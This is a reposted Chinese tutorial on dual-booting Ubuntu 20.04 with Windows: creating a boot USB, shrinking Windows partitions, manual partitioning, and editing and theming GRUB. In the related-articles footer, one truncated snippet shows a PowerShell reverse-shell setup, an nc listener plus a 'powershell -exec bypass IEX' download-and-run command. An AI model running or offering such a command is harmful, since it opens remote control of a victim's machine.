Ubuntu 20.04 双系统安装完整教程

1、查看电脑的信息

1.1 查看BIOS模式

“win+r”快捷键进入”运行”,输入”msinfo32″回车,出现以下界面,可查看BIOS模式:

UEFI模式:

Ubuntu 20.04 双系统安装完整教程

传统MBR模式:

Ubuntu 20.04 双系统安装完整教程

BIOS模式有传统的MBR模式和新式UEFI模式,这将对安装双系统的方法产生直接影响。目前来看,大部分电脑都属于新式UEFI模式,不过也存在一些老机子仍然属于传统MBR模式。本教程只介绍新式UEFI模式下的双系统安装方法,如果你的电脑属于传统MBR模式,强烈建议你重装windows系统来更新BIOS模式到UEFI。

1.2搞清楚电脑的硬盘数

电脑是单双硬盘希望你买电脑时就已经清楚,这也算是卖点之一,如果这个都不知道,也请不要自暴自弃,继续往下看。

“此电脑”点击右键,点击”管理”,点击”磁盘管理”:

Ubuntu 20.04 双系统安装完整教程

相信你已经清楚了自己电脑的信息,以下请注意有区分”单硬盘”和”双硬盘”操作的部分。

2、制作系统盘

需要准备以下工具:

1 、ubuntu系统镜像

2 、刻录软件:”软碟通”,会提示注册,选择继续试用就好;Rufus。

3 、一个大于 2G 的 U 盘

2.1软碟通制作启动盘

1.安装并打开软碟通,插上 U 盘,并且最好备份你的 U 盘,因为之后需要格式化;

2.进入软碟通,选择文件,浏览到你的ubuntu镜像所在的目录,选择ubuntu镜像文件,双击打开,如图:

Ubuntu 20.04 双系统安装完整教程

Ubuntu 20.04 双系统安装完整教程

3.在软碟通界面菜单栏选择”启动”,选择”写入硬盘映像”,如图所示:

Ubuntu 20.04 双系统安装完整教程

Ubuntu 20.04 双系统安装完整教程

接下来很重要,注意次序:

1)看你的硬盘驱动器是否对应的是你的 U 盘(必须是) ,一般默认是;

2)看映像文件是否对应你的 ubuntu 镜像;

3)如果上述均没有错误,选择格式化,之后就会格式化你的 U 盘;

4)在 U 盘格式化完毕之后,选择写入,之后就是慢慢等待了,等待写入完毕;

5)步骤二完毕。

2.2 Rufus制作启动u盘

插入U盘, 运行 rufus-3.10.exe,按照下面选择,然后点击开始,等待完成即可

Ubuntu 20.04 双系统安装完整教程

Ubuntu安装空出分区

3、在windows下创建空白分区

说明:这一步是为ubuntu系统分配空间,单硬盘和双硬盘存在一点区别。

1.”此电脑”点击右键,点击”管理”,点击”磁盘管理”:

Ubuntu 20.04 双系统安装完整教程

2.为ubuntu分配空间

(1)如果是单硬盘,选择最后一个盘(比如 CD两个盘的最后一个是D盘,CDE盘的最后一个是E盘,CDEF盘的最后一个是F盘,以此类推),在该盘点击右键,选择压缩卷,如下,输入压缩空间量,单位为M,如果空间充足,建议分出80G或100G,空间不足也可以分60G(1G=1024M):

Ubuntu 20.04 双系统安装完整教程

如果你的最后一个盘容量太小,还不够分出60G,那需要从其他盘匀一些过来,你需要用到DiskGenius这个工具,具体操作不在此介绍,希望你自行解决。

(2)如果是双硬盘,需要先在C盘(按理来说就是电脑的第一块硬盘,部分电脑系统装得比较奇怪,装到了第二块硬盘)分出200M的空白分区用来安装ubuntu的启动项,然后再在另一块硬盘选择最后一个盘(比如 CD两个盘的最后一个是D盘,CDE盘的最后一个是E盘,CDEF盘的最后一个是F盘,以此类推),在该盘点击右键,选择压缩卷,如下,输入压缩空间量,单位为M,如果空间充足,建议分出80G或100G,空间不足也可以分60G(1G=1024M):

Ubuntu 20.04 双系统安装完整教程

这里解释两个问题

(1)单双硬盘为什么分区存在区别:你可以看到分区的差别只是双硬盘的时候在C盘分出了200M用来安装启动项。电脑在开机的时候,会自动在C盘所在的那个硬盘搜索启动项以启动系统,我们当然希望安装的ubuntu启动项也能够被搜索到,所以需要将启动项安装在这里,这样开机时会搜索到windows和ubuntu两个启动项,我们可以手动选择进入哪个系统。当然这里的”启动项需要安装在C盘所在的硬盘”并不是绝对的,只是为了开机能够自动搜索到启动项,安装在其他硬盘也可以,只是每次开机都需要进boot manager才能找到ubuntu启动项,比较麻烦,所以建议按照我的方法来分区。

(2)为什么要选择最后一个盘压缩卷:windows和ubuntu的文件存储格式是不一样的,我们分区的操作只是将磁盘分了一部分给ubuntu,事实上两个系统还是在共用一块磁盘,为了防止存储格式不同两个系统可能相互影响,我们通过从最后一个盘压缩将ubuntu的分区分到了磁盘最后一段,也就是一块磁盘的前部分是windows的分区,后部分是ubuntu的分区。

我的电脑是双硬盘,下面是我的分区结果:

Ubuntu 20.04 双系统安装完整教程

关闭win10快速启动

控制面板->硬件和声音->电源选项->系统设置->更改电源按钮的功能->取消勾选启用快速启动

Ubuntu 20.04 双系统安装完整教程

Ubuntu 20.04 双系统安装完整教程

4、用做好的系统盘安装系统

:因为各个厂商的计算机bios和boot manager启动的快捷键不相同,所以请自行百度如何进bios和boot manager。

1.插好系统盘,重启电脑,开机进bios,在Security页面,关掉secure boot(不同电脑secure boot可能在不同位置),然后到Boot页面,如果有Fast Boot这一项(部分联想电脑有),也把它关掉,没有忽略;然后保存更改,在Boot页面下方启动项选择 USB启动,回车,如果顺利进入安装页面,继续往下做;如果点击USB启动项无法进入,保存并退出,电脑会重启,根据自己电脑按相应的键进boot manager,找到USB启动项,回车即可进入。

Ubuntu 20.04 双系统安装完整教程

Ubuntu 20.04 双系统安装完整教程

2.然后会进入这个界面,选择Install Ubuntu,回车确认

Ubuntu 20.04 双系统安装完整教程

3.或许没有上一个界面,但是下面的界面一定是有的,不同镜像会有些差异,但意思都一样,语言栏往下拉会有中文

Ubuntu 20.04 双系统安装完整教程

Ubuntu 20.04 双系统安装完整教程

4.点击”安装Ubuntu”,出现以下或类似界面只选”为图形或无线硬件,以及MP3和其他媒体安装第三方软件”,不选第一个,边安装边下载更新很慢,点击”继续”

Ubuntu 20.04 双系统安装完整教程

5.出现以下或类似界面,一定要选择”其他选项”,因为需要手动分区

Ubuntu 20.04 双系统安装完整教程

6.分区界面如下

Ubuntu 20.04 双系统安装完整教程

在这里,你可以看到在第三步已经分好的空闲分区,上图是单硬盘的情况,只有一个空闲分区,大小是你分区时给定的;双硬盘的话还能看到另一个空闲分区,大小200M左右,所以 下面的分区操作单双硬盘存在一点差别

在这里,我们进行 手动分区,假设你留出的空闲分区为 80G,点击空闲盘符,点击”+”进行分区,如下:

1)efi:如果是 单硬盘,在唯一的一个空闲分区上添加,大小200M,逻辑分区,空间起始位置,用于efi;如果是 双硬盘,找到事先分好的200M空闲分区添加,逻辑分区,空间起始位置,用于efi。这个分区必不可少,用于安装ubuntu启动项。以下步骤单双硬盘就一样了,都在那个80G的空闲分区上添加

2)swap:中文是”交换空间”,充当ubuntu的虚拟内存,一般的大小为电脑物理内存的2倍左右,可以将其分为 8G,逻辑分区,空间起始位置,用于”swap”或”交换空间”

3) /:这是ubuntu 的根目录,用于安装系统和软件,相当于windows的C盘,我们将其分为 20G,主分区,空间起始位置,用于”ext4日志文件系统”,挂载点为”/”(根据你的磁盘空间调整,可以大一点,毕竟ubuntu装软件都是默认装在根目录的)

4)/home:相当于windows的其他盘,剩下的全分给它,逻辑分区,空间起始位置,用于”ext4日志文件系统”,挂载点为”/home”

好了,分区完毕,你完全可以按照上面的描述进行分区,不会有任何问题,起码我一直都是这么做的(强烈建议)。当然,你也可以划分的更详细,具体划分可以百度。

下面的这一步很重要:在分区界面的下方,选择 安装启动项的设备的位置,我们刚刚不是创建了200M的efi分区吗,现在你看看这个区前面的编号是多少,比如是/dev/sda1,不同的机子会有不同的编号,下拉列表选择这个efi分区编号( 这里一定要注意,windows的启动项也是efi文件,大小大概是500M,而我们创建的ubuntu的efi大小是200M,一定要选对),之后点击”Install Now”

(下图百度的不准)!

Ubuntu 20.04 双系统安装完整教程

7.设置地区不重要,按你需要设置,也可以直接继续,不影响

Ubuntu 20.04 双系统安装完整教程

8.键盘布局默认是英语的,建议不改(默认中文也行)

Ubuntu 20.04 双系统安装完整教程

9.这里设置用户,自己输入就可以了,例如英文字母,尽量简单点,密码也简单点

Ubuntu 20.04 双系统安装完整教程

10.系统开始安装,耐心等待安装完毕就可以了

Ubuntu 20.04 双系统安装完整教程

11.全部完成之后,会提醒你重启,把U盘拔了,点”现在重启”,如果卡死就强制关机再重启就好

Ubuntu 20.04 双系统安装完整教程

12.重启后你会看到以下界面,第一项是ubuntu启动项,第二项是ubuntu高级设置,第三项是windows启动项,第四项不用管,默认选择的是第一个,回车进ubuntu系统

Ubuntu 20.04 双系统安装完整教程

5、Ubuntu grub引导界面美化

不出意外地,安装好Ubuntu和Windows的双系统后应该是由Ubuntu的grub引导启动的,也就是开机的时候要我们选择进入那个系统的那个黑底白字的难看至极的页面,这篇文章的目的就是对grub引导进行设置和美化。

5.1优化设置

grub引导的设置文件是 /etc/default/grub ,对其进行修改可以得到我们想要的结果。

在命令行中输入:如果你会使用vim: sudo vim /etc/default/grub

或者如果你不会使用vim:sudo gedit /etc/default/grub

然后我们就可以对设置文件进行编辑了

Ubuntu 20.04 双系统安装完整教程

一般我们需要更改其中的 GRUB_DEFAULT(默认启动项:这个编号是你开机时看到的若干个启动项从上到下的依次编号,记住!程序员世界的编号从来都是从0开始的,意思是,第一项是0,第二项是1,以此类推)、GRUB_TIMEOUT_STYLE(是否显示倒计时,hidden的属性表示不会显示倒计时)、GRUB_TIMEOUT(等待时间,单位是秒)、GRUB_GFXMODE(屏幕的显示像素,可以不用管这一项)

按照自己的需求更改,其他的很多配置如果你还需要更改可以去查询每一项的具体含义和属性值。

注意一点,如果你更改的属性语句前边有#符号,一定要将其去掉这一句才会起作用。

完成后记得保存离开,然后再命令行输入: sudo update-grub ,对刚才的设置进行更新。整体下来大概是这个样子:

Ubuntu 20.04 双系统安装完整教程

5.2 将Windows引导改为Ubuntu引导

注:uefi下只能用Ubuntu grub引导

Ubuntu 20.04 双系统安装完整教程

将Ubuntu列在首位,同时Disk/partition选项选定之前分的efi分区

Ubuntu 20.04 双系统安装完整教程

5.3 页面美化

这个黑底白字的启动引导页面说实话还是极其丑陋的,不过好在我们可以对其进行美化。如果你是可以完成自己修改源码或者加上样式的大神,不用我多说,但是如果你想省事或者不会自己写页面样式,可以去这里下载一款你喜欢的风格的页面样式给自己使用就好,点击左侧的GRUB Themes

Ubuntu 20.04 双系统安装完整教程

Ubuntu 20.04 双系统安装完整教程

Ubuntu 20.04 双系统安装完整教程

如果你实在无法打开这个页面,可以来我的百度云分享的这个文件出下载:https://pan.baidu.com/s/1HEhEGK_qK9-0o826CePqrQ 提取码:x1hl

下载好后得到了一个压缩包,将其解压

Ubuntu 20.04 双系统安装完整教程

创建一个文件夹:sudo mkdir /boot/grub/themes/

Ubuntu 20.04 双系统安装完整教程

将整个解压出来的文件夹拷贝到刚刚创建的文件夹下:sudo cp -R poly-light-master /boot/grub/themes/

Ubuntu 20.04 双系统安装完整教程

接下来编辑文件:/etc/grub.d/00_header,即输入命令:sudo gedit /etc/grub.d/00_header

如果你发现自己更改内容之后无法保存文件,说明你权限不够,可以进入root权限再次编辑

Ubuntu 20.04 双系统安装完整教程

在打开的 00_header 文件中,加入如下两行:

GRUB_THEME=”/boot/grub/themes/poly-light-master/theme.txt”

GRUB_GFXMODE=”1920×1080″

1

2

第一句根据你下载的主题改成自己刚刚拷贝到themes文件夹下的主题包中的theme.txt文件,第二句是你屏幕的分辨率。

Ubuntu 20.04 双系统安装完整教程

保存后记得要更新一下grub: sudo update-grub

Ubuntu 20.04 双系统安装完整教程

好了,此时再次重启你的电脑!

大功告成!

Original: https://www.cnblogs.com/zcj-0928/p/15119056.html
Author: 相遂
Title: Ubuntu 20.04 双系统安装完整教程

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/581774/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • Linux下IPC之共享内存的使用方法

    基本参考 《Unix环境高级编程》 第14.9节共享内存来学习。 需要说明的 讲shmget(key,size, flag)函数时,书上大概意识是说, 想访问已有的shm时,key…

    Linux 2023年6月7日
    083
  • Get shell By Powershell

    Invoke-PowerShellTcp.ps1 监听主机:nc -nv -l -p 9999 powershell -nop -exec bypass -c "IEX …

    Linux 2023年5月28日
    098
  • 用无感知的方式为你的数据加上一层缓存

    前言 本篇文章会介绍一个我自己写的库,库地址在这里,主要作用是提供一个注解,在你方法上使用这个注解,库提供的功能会帮你把数据自动缓存起来,下次再调用这个方法只要入参是一致的则直接会…

    Linux 2023年6月14日
    0138
  • 让gitlab暴露node-exporter供外部prometheus使用

    花了两天部署了一套监控服务 prometheus+node-exporter+grafana,公司的gitlab服务器准备部署node-exporter的时候突然发现gitlab已…

    Linux 2023年6月7日
    0134
  • JAVA设计模式-原型模式

    JAVA设计模式-原型模式 介绍 原型模式是一种创建型模式,用于创建重复的对象,并且保证性能。原型模式创建的对象是由原型对象自身创建的,是原型对象的一个克隆,和原型对象具有相同的结…

    Linux 2023年6月6日
    0102
  • 【Example】C++ 模板概念讲解及编译避坑

    C++ 不同于 Java,它没有标准的 Object 类型。也就意味着 C++ 并不存在完整的泛型编程概念。 为什么不存在完整的泛型编程概念,放到最后一个例子讲,先讲 &#8220…

    Linux 2023年6月13日
    089
  • 使用 Spring Boot Admin 监控应用状态

    1 Spring Boot Actuator Spring Boot Actuator 是 Spring Boot 提供的对应用的自省和监控功能,如健康检查,审计,指标收集,HTT…

    Linux 2023年6月7日
    0102
  • canal-1.1.5实时同步MySQL数据到Elasticsearch

    一、环境准备 1、jdk 8+ 2、mysql 5.7+ 3、Elasticsearch 7+ 4、kibana 7+ 5、canal.adapter 1.1.5 二、部署 一、创…

    Linux 2023年6月13日
    0110
  • Python 装饰器

    直接进入主题 原代码 以下是原代码,要求给改代码添加统计时间功能 版本1(直接在原函数上修改) 可能有的同学就做出了下面这个版本 版本2(将函数当做参数传入) 经过修改上面的版本我…

    Linux 2023年6月13日
    0105
  • 随便侃侃博客挖坑的事

    很多都没有写博客了,说实在的,Markdown的语法都忘的差不多了。 今年看着停留在提醒上的写博客计划,然后又想了想要写的东西,太多了,都需要花点时间去总结,感觉静不下心来,真的无…

    Linux 2023年6月6日
    0103
  • Netty源码解读(三)-NioEventLoop

    先看看EventLoop类图 我们在Netty第二篇文章中的代码中,看到有多次用到eventLoop.execute()方法,这个方法就是EventLoop开启线程执行任务的关键,…

    Linux 2023年6月7日
    096
  • 学生管理系统(初级)

    #include #include #include #define Size sizeof(struct Student) struct Student *p = NULL; t…

    Linux 2023年6月7日
    0106
  • SpringBoot-Mybatis

    SpringBoot 整合 Mybatis SpringBoot-Mybatis 10.1 导入 MyBatis 所需要的依赖 org.mybatis.spring.boot my…

    Linux 2023年6月14日
    092
  • 2.VMware三种网络模式

    本文参考《Vmware虚拟机三种网络模式详解》、《网络原理,以及对VMware Workstation虚拟网络VMnet0、VMnet1、VMnet8的图解》 一.VMware的网…

    Linux 2023年5月27日
    0125
  • 前端奇奇怪怪的CSS样式

    使用inline-block相当于将元素介于块级元素与行内元素之间,将换行符转换成了空格,因此各个元素之间会有空隙 各个元素没有间隙,且元素自身大小不会改变,若一行容不下,则会换行…

    Linux 2023年6月13日
    092
  • Python闭包

    前言 学习Python的单例实现的时候,遇到了下面这样的代码。很不理解为什么局部变量 _instance没有重新初始化。后来看到有人说这是闭包,于是又去了解了下 闭包。没想到闭包竟…

    Linux 2023年6月7日
    098
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球